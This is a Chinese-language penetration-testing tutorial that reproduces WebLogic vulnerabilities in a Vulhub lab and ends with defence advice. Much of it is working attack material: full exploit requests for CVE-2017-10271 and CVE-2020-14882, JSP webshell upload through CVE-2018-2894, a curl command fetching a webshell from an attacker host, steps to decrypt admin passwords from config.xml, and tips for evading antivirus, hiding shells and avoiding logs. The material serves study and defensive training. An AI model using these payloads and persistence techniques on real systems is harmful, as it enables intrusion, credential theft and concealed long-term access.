1. 项目概述与核心价值Weblogic作为一款广泛部署于企业级环境中的Java应用服务器其安全性直接关系到众多核心业务系统的稳定。标题中的“漏洞复现”并非简单的照搬操作而是一个深入理解中间件安全机制、攻击链构建以及应急响应的系统性过程。我接触过太多因为一个默认配置、一个未及时修补的漏洞而导致整个内网沦陷的案例因此掌握从漏洞发现到利用的完整链条对于安全从业者而言既是进攻的矛也是防守的盾。这个项目将带你从零开始搭建一个可控的漏洞环境亲手复现几个经典的Weblogic高危漏洞。更重要的是我们会深入其中两个核心环节密码解密与Shell连接。你会发现很多漏洞利用的“临门一脚”往往卡在如何获取有效的后台凭证或者如何稳定地建立一个命令执行通道。本文将不仅提供现成的工具更会拆解其背后的原理比如Weblogic的AES密码加密机制是如何被逆向的以及在不同网络环境下如何选择最合适的Webshell管理工具。无论你是想夯实内网渗透的基础还是准备企业红蓝对抗演练这些实战经验都能让你少走弯路。2. 环境准备构建安全的漏洞复现沙箱在开始任何漏洞复现之前搭建一个隔离、可控的测试环境是首要且必须的步骤。直接在物理机或生产网络中进行测试是极其危险和不负责任的行为。2.1 虚拟机与Docker环境选择我强烈推荐使用虚拟机配合Docker的方案。虚拟机如VMware Workstation或VirtualBox提供了第一层隔离而Docker则能让你快速、干净地部署和销毁特定的漏洞环境。虚拟机配置建议分配至少2核CPU、4GB内存和20GB磁盘空间。网络模式选择“NAT”或“仅主机模式”确保测试环境与宿主机及外部网络隔离。Docker安装在Linux虚拟机中使用官方脚本安装Docker和Docker Compose最为便捷。# 安装Docker curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh # 安装Docker Compose sudo curl -L https://github.com/docker/compose/releases/download/v2.20.0/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose sudo chmod x /usr/local/bin/docker-compose注意务必在虚拟机内操作避免因误操作影响宿主机。所有漏洞利用行为仅限在这个封闭的沙箱中进行。2.2 使用Vulhub一键搭建漏洞环境Vulhub是一个开源的漏洞靶场集成项目它为我们提供了docker-compose配置文件能一键启动包含特定漏洞的Weblogic服务极大地简化了环境搭建。拉取Vulhub仓库git clone https://github.com/vulhub/vulhub.git cd vulhub选择目标漏洞环境Vulhub为每个CVE编号建立了独立的目录。例如我们要复现CVE-2017-10271则进入对应目录。cd weblogic/CVE-2017-10271启动漏洞环境sudo docker-compose up -d这条命令会从Docker Hub拉取预置的漏洞镜像并在后台运行。执行成功后使用docker-compose ps可以查看容器状态确认Weblogic服务通常运行在7001端口是否已正常启动。访问验证在宿主机浏览器中访问http://[你的虚拟机IP]:7001/console如果能看到Weblogic控制台登录页面或特定的错误页面取决于漏洞类型说明环境搭建成功。2.3 攻击机工具准备我们的攻击机即运行Docker的这台Linux虚拟机需要准备一些必要的工具。Burp Suite Community/Professional用于拦截、修改和重放HTTP/HTTPS请求是漏洞探测和利用的“瑞士军刀”。你需要配置浏览器代理如127.0.0.1:8080并安装Burp的CA证书以拦截HTTPS流量。JDK 8因为Weblogic是Java应用许多利用工具如ysoserial需要Java环境来运行。sudo apt update sudo apt install openjdk-11-jdk -y java -version # 验证安装Netcat (nc)用于监听反弹Shell的端口。sudo apt install netcat -yPython 2/3及常用库部分漏洞的Exploit脚本是用Python编写的。sudo apt install python3 python3-pip -y3. 核心漏洞复现与原理深度解析我们将选取几个具有代表性且利用链清晰的Weblogic漏洞进行复现并深入理解其成因。3.1 CVE-2017-10271XMLDecoder反序列化命令执行这个漏洞是Weblogic历史上影响非常广泛的漏洞之一根源在于其WLS Security组件对用户传入的XML数据解析不当。3.1.1 漏洞原理剖析Weblogic的/wls-wsat/端点对外提供WebService服务。在处理SOAP请求时服务器端使用java.beans.XMLDecoder来解析XML数据。XMLDecoder的功能是将XML描述的对象反序列化为Java对象。问题在于XMLDecoder的功能过于强大它允许在XML中嵌入几乎任意的Java对象构造语句。攻击者可以构造一个特殊的XML其中包含java.lang.ProcessBuilder对象的描述。当XMLDecoder解析这个XML时会实际创建ProcessBuilder对象并调用其start()方法从而执行系统命令。这个过程完全在服务器端发生无需任何身份验证。3.1.2 漏洞复现实操环境启动如前所述在vulhub/weblogic/CVE-2017-10271目录下执行docker-compose up -d。漏洞验证访问http://your-ip:7001/wls-wsat/CoordinatorPortType如果返回一个包含“CoordinatorPortType”的WSDL页面说明该端点存在。构造并发送恶意请求使用Burp Suite抓取访问上述地址的请求并将其改为POST请求替换Body部分为以下POCPayloadPOST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ soapenv:Header work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ java version1.4.0 classjava.beans.XMLDecoder void classjava.lang.ProcessBuilder array classjava.lang.String length3 void index0 string/bin/bash/string /void void index1 string-c/string /void void index2 stringtouch /tmp/success_cve-2017-10271/string /void /array void methodstart/ /void /java /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope这个POC的作用是让服务器在/tmp目录下创建一个名为success_cve-2017-10271的文件。验证利用结果发送请求后如果返回码为500内部服务器错误这通常是命令执行成功的标志因为ProcessBuilder执行后可能没有合法返回值导致异常。我们可以进入Docker容器验证# 首先查看容器ID sudo docker ps | grep weblogic # 进入容器 sudo docker exec -it [容器ID] /bin/bash # 检查文件是否创建成功 ls -la /tmp/success_cve-2017-10271如果文件存在则证明漏洞利用成功可以执行任意命令。实操心得在实际利用时直接反弹Shell可能会因为网络策略、容器限制等原因失败。一个更稳妥的方法是先使用wget或curl命令将Webshell下载到服务器可访问的Web目录如/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal下的某个应用目录再通过Webshell进行后续操作。命令如curl http://your-attack-ip/shell.jsp -o /path/to/webapp/shell.jsp。3.2 CVE-2018-2894任意文件上传漏洞这个漏洞的利用前提是管理员在控制台错误地开启了“Web Service Test Page”功能。3.2.1 漏洞原理与路径Weblogic的ws_utc应用Web Services Test Utility提供了一个用于测试Web服务的页面。该应用的上传功能/ws_utc/config.do在设计时对上传文件的路径和类型校验不严。虽然上传接口本身可能有一定校验但攻击者可以通过修改请求参数将文件上传到Weblogic服务器上的任意可访问目录例如Web应用的静态资源目录从而直接通过HTTP访问到上传的恶意JSP文件。3.2.2 漏洞复现实操环境启动与后台登录进入vulhub/weblogic/CVE-2018-2894目录并启动环境。通过docker-compose logs | grep password查找管理员密码示例中为w6nL6IyJ。访问http://your-ip:7001/console并使用weblogic/w6nL6IyJ登录。开启Web Service Test Page在控制台左侧点击base_domain-高级。找到“启用 Web 服务测试页”选项勾选并保存。可能需要激活更改并重启相关服务在Vulhub环境中通常已自动处理。访问漏洞页面并上传Webshell访问http://your-ip:7001/ws_utc/config.do。你会看到一个文件上传界面。关键步骤修改“工作目录”。默认的上传目录可能权限不足。需要将其修改为一个已知的、可通过Web访问的目录。一个典型路径是/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/随机字符串/war/css。这个路径是ws_utc应用本身的静态资源目录具有可写和可读权限。准备一个JSP的Webshell例如内容为% out.println(Hello from Shell); %的简单文件或功能完整的“大马”通过页面上传。访问Webshell上传成功后页面会返回文件存储的路径信息通常包含一个时间戳。Webshell的访问URL格式为http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[你的文件名].jsp。时间戳可以在上传请求的响应中或者页面HTML源码里找到。访问该URL如果看到Webshell的输出则利用成功。注意事项此漏洞的利用高度依赖于“Web Service Test Page”是否被开启。在真实环境中这属于不安全的配置但并非默认配置。因此在渗透测试信息收集阶段可以尝试访问/ws_utc/config.do路径如果存在且未授权访问则可能存在风险。3.3 CVE-2020-14882/14883权限绕过与代码执行组合拳这是2020年爆出的一个严重漏洞组合。14882是一个未授权的代码执行漏洞而14883是其补丁的绕过方式。利用这个组合攻击者可以在未经认证的情况下直接接管Weblogic控制台。3.3.1 漏洞原理简述CVE-2020-14882允许攻击者通过构造特殊的URL绕过控制台的身份验证直接访问到控制台内部的某些功能页面。而CVE-2020-14883则进一步通过二次URL编码等技术绕过了对14882的修复使得攻击者能够访问到更危险的、包含代码执行功能的页面如Handle参数处理页面。3.3.2 漏洞复现实操环境启动进入vulhub/weblogic/CVE-2020-14882目录并启动环境。权限绕过验证直接访问以下URL无需登录http://your-ip:7001/console/css/%252e%252e%252fconsole.portal如果返回了Weblogic控制台的界面可能是一个空白或错误的管理页面说明权限绕过成功。这里的%252e%252e%252f是../的二次URL编码用于路径遍历。代码执行利用权限绕过后需要找到代码执行的入口。console.portal的handle参数可以接收并执行特定的Java代码。我们使用一个经过构造的请求来执行命令首先正常访问一次/console用Burp抓包获取到当前的JSESSIONID或ADMINCONSOLESESSION的Cookie值。这是必需的因为绕过后仍然需要维持一个会话状态。发送以下请求替换Host和CookieGET /console/css/%252E%252E%252Fconsole.portal?_nfpbtrue_pageLabelHomePage1handlecom.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(touch%20/tmp/success_cve-2020-14882);%22) HTTP/1.1 Host: your-ip:7001 Cookie: ADMINCONSOLESESSIONYOUR_SESSION_ID_HERE ...其他头部...这个请求利用了com.tangosol.coherence.mvel2.sh.ShellSession这个类来执行系统命令touch /tmp/success_cve-2020-14882。验证同样进入Docker容器查看/tmp目录下是否成功创建了文件。排查技巧如果命令执行没有回显如何判断是否成功可以采用“带外”Out-of-Band, OOB检测技术。例如执行ping命令探测一个你控制的DNS日志平台如dnslog.cn或者让目标服务器向你的HTTP服务器发起一个请求curl http://your-server。通过查看DNS解析记录或HTTP访问日志可以间接确认命令执行成功。4. 密码解密实战从config.xml到明文口令在渗透测试中直接获取Weblogic后台管理权限往往能打开新局面。除了弱口令爆破通过文件读取漏洞获取加密的密码并进行解密是一种更隐蔽有效的方法。4.1 密码存储机制解析Weblogic的管理员密码并非明文存储。它位于域Domain的配置文件config.xml中以加密形式存在标签通常为node-manager-password-encrypted或password-encrypted。加密算法通常是AES新版本或3DES老版本。解密需要两个关键文件加密后的密文来自config.xml。加密密钥来自security/SerializedSystemIni.dat。这个文件是一个二进制密钥库文件。4.2 利用任意文件读取获取密钥与密文假设我们已经通过某个漏洞如早期的任意文件读取漏洞能够读取服务器上的文件。读取密钥文件请求http://target:7001/hello/file.jsp?pathsecurity/SerializedSystemIni.dat关键点SerializedSystemIni.dat是二进制文件。切勿直接用浏览器下载浏览器可能会错误地处理二进制数据引入额外字符导致解密失败。必须使用Burp Suite这样的工具。操作在Burp的Repeater模块发送请求在响应中右键点击二进制数据区域选择“Copy to file”将其保存为SerializedSystemIni.dat。读取配置文件请求http://target:7001/hello/file.jsp?pathconfig.xml在返回的XML内容中搜索password-encrypted或node-manager-password-encrypted找到类似{AES}AbCdEfGhIjKlMnOpQrStUvWxYz0123456789的字符串这就是加密后的密码密文。4.3 使用解密工具还原密码我们需要使用专门的解密工具它需要SerializedSystemIni.dat和密文作为输入。网络上有很多开源工具例如weblogic_decrypt.jar。准备解密工具将解密工具JAR包如weblogic_decrypt.jar下载到本地。执行解密确保上一步获取的两个文件也在当前目录。java -jar weblogic_decrypt.jar [SerializedSystemIni.dat路径] [config.xml中的密文] # 示例 java -jar weblogic_decrypt.jar ./SerializedSystemIni.dat {AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k获取明文密码工具会直接输出解密后的明文密码。使用这个密码即可登录Weblogic控制台/console。实操心得SerializedSystemIni.dat文件是域唯一的且与Weblogic版本和安装路径相关。一旦获取到这个文件就可以解密该域下config.xml中所有用相同机制加密的密码包括节点管理器密码等价值极大。在后续的横向移动中如果其他系统使用了相同的密码可能会带来更大的风险。5. Shell连接与维持Webshell工具选型与实战获取命令执行能力后一个稳定的、功能强大的Shell连接是后续渗透的基石。这里主要讨论Webshell的连接。5.1 Webshell工具对比与选择工具名称语言特点适用场景冰蝎 (Behinder)JSP/PHP/ASPX动态密钥加密通信流量特征隐蔽功能强大文件管理、数据库连接、内网代理等。对隐蔽性要求高、需要长时间维持权限的实战环境。哥斯拉 (Godzilla)JSP/PHP/ASPX/...类似冰蝎加密通信插件化架构支持多种Payload和加密器更新活跃。替代冰蝎的优秀选择社区支持好绕过WAF能力强。中国菜刀 (Caidao)JSP/PHP/ASPX老牌工具使用明文或简单加密通信流量特征明显易被安全设备检测。学习原理或在内网完全可控的环境中使用不推荐用于对抗性强的环境。AntSword (蚁剑)JSP/PHP/ASPX/...开源跨平台插件丰富支持自定义编码器和解码器社区活跃。喜欢开源工具、需要高度自定义的研究人员和测试者。个人建议目前哥斯拉和冰蝎是主流选择它们的加密通信能有效绕过基于流量特征的检测。蚁剑作为开源项目透明度和可定制性最高。5.2 以哥斯拉连接JSP Shell为例上传Webshell利用前面复现的任意文件上传漏洞如CVE-2018-2894或通过命令执行写入文件的方式将一个JSP的Webshell上传到服务器可访问的Web路径。哥斯拉的官网或GitHub仓库提供了各种语言的Payload。启动哥斯拉客户端运行哥斯拉创建一个新的站点管理。配置连接URL填写你上传的JSP Webshell的完整访问地址如http://target:7001/ws_utc/css/config/keystore/1234567890_shell.jsp。密码填写你在生成Webshell时设置的连接密码哥斯拉的Payload中内置。加密器选择与Webshell匹配的加密器如JAVA_AES_BASE64。这是哥斯拉/冰蝎这类工具的核心确保了通信流量的加密。其他根据情况设置代理如Burp以便调试流量。测试连接点击“测试连接”如果成功哥斯拉会显示服务器基本信息如操作系统、当前用户、Web路径等。功能使用连接成功后你可以使用图形化界面进行文件浏览、终端命令执行、数据库管理、甚至搭建Socks5代理进行内网穿透。5.3 Shell维持技巧与注意事项路径选择不要将Webshell上传到过于明显的临时目录或日志目录。可以尝试上传到现有Web应用的无名目录、静态资源目录如/images/,/css/下并起一个具有迷惑性的文件名如logo.jsp,style.jsp。免杀处理公开的Webshell payload容易被安全软件或WAF查杀。需要对JSP代码进行混淆、编码或自定义修改以实现免杀。这需要对Java Web编程有一定了解。多备份在获取权限后可以在不同路径、使用不同密码和加密器上传多个Webshell防止某一个被清除后失去权限。清理痕迹谨慎操作避免在Shell中执行whoami,ipconfig/ifconfig等产生大量日志的命令。哥斯拉/冰蝎的命令执行功能通常做了较好的隐藏。上传下载文件时也注意临时文件的清理。6. 常见问题排查与防御建议在复现过程中你可能会遇到各种问题。这里记录一些常见的坑和解决方案。6.1 漏洞复现常见问题问题现象可能原因排查与解决思路Docker环境启动失败端口冲突、镜像拉取失败、内存不足。1.docker-compose logs查看具体错误日志。2. netstat -tlnp访问Weblogic页面超时或拒绝连接防火墙阻止、容器未正确启动、网络模式问题。1.docker-compose ps确认容器状态为“Up”。2.docker exec -it [容器ID] bash进入容器curl localhost:7001检查服务在容器内是否正常。3. 检查虚拟机防火墙规则sudo ufw status。发送POC后无任何反应无错误无执行结果漏洞不存在版本不对、路径错误、Payload格式问题。1. 确认目标Weblogic版本在漏洞影响范围内。2. 使用Burp仔细核对请求路径、方法、头部尤其是Content-Type。3. 尝试使用公开的、验证过的POC脚本对比自己的请求差异。4. 尝试更简单的验证命令如ping一个不存在的IP看进程是否产生或sleep 10看请求是否延迟响应。命令执行成功但无法反弹Shell目标出网受限、防火墙策略、nc监听参数错误、Payload编码问题。1.先尝试出网检测在Webshell或命令执行处尝试ping your-ip或curl http://your-ip在你的服务器用tcpdump或nc -lvp 80监听看是否有流量。2.使用其他反弹方式尝试bash、python、php、perl等多种反弹命令。3.检查监听端确保攻击机防火墙允许入站连接nc命令使用-nvlp [端口]正确监听。4.编码问题Linux下反弹Shell命令中的等符号在HTTP传输和Java执行时可能需要正确编码。使用bash -c {echo,YmFzaCAtaSA...}解密工具报错“Invalid key”或“无法解密”SerializedSystemIni.dat文件损坏或版本不匹配。1.确保文件完整务必使用Burp的“Copy to file”功能保存二进制文件不要用文本编辑器打开或复制粘贴。2.检查Weblogic版本老版本如10.x可能使用3DES加密需要对应版本的解密工具。3. 尝试使用不同来源的解密工具进行交叉验证。6.2 从攻击者视角看防御建议通过复现这些漏洞我们应该更能从防御角度思考及时更新与补丁管理上述漏洞均有官方补丁。建立严格的补丁管理流程及时应用Oracle发布的安全补丁是最根本的防御措施。最小化安装与配置非必要不开启“Web Service Test Page”等调试功能。删除或限制访问不必要的应用和组件如uddiexplorer、wls-wsat等。将Weblogic控制台/console的访问限制在管理IP段。强化身份认证禁止使用默认口令和弱口令。启用强密码策略。考虑对接双因素认证2FA。网络层防护在网络边界部署WAFWeb应用防火墙配置规则拦截针对已知漏洞的攻击流量。对Weblogic管理端口7001等进行严格的网络访问控制。安全监控与审计启用Weblogic的访问日志和审计日志。部署HIDS主机入侵检测系统监控敏感文件如SerializedSystemIni.dat、config.xml的读取行为以及异常进程创建如bash、cmd从Web进程启动。定期进行安全扫描和渗透测试主动发现潜在风险。漏洞复现的意义远不止于“成功执行了命令”。每一次复现都是一次对攻击链的拆解对防御盲点的审视。理解Weblogic如何加密密码你就能更好地保护密钥文件明白反序列化漏洞如何触发你就能更有效地监控异常流量体验了从漏洞发现到获取Shell的全过程你才能设计出更有针对性的防御策略和应急响应流程。工具和脚本会过时但这种基于原理的攻防思维才是安全从业者最宝贵的资产。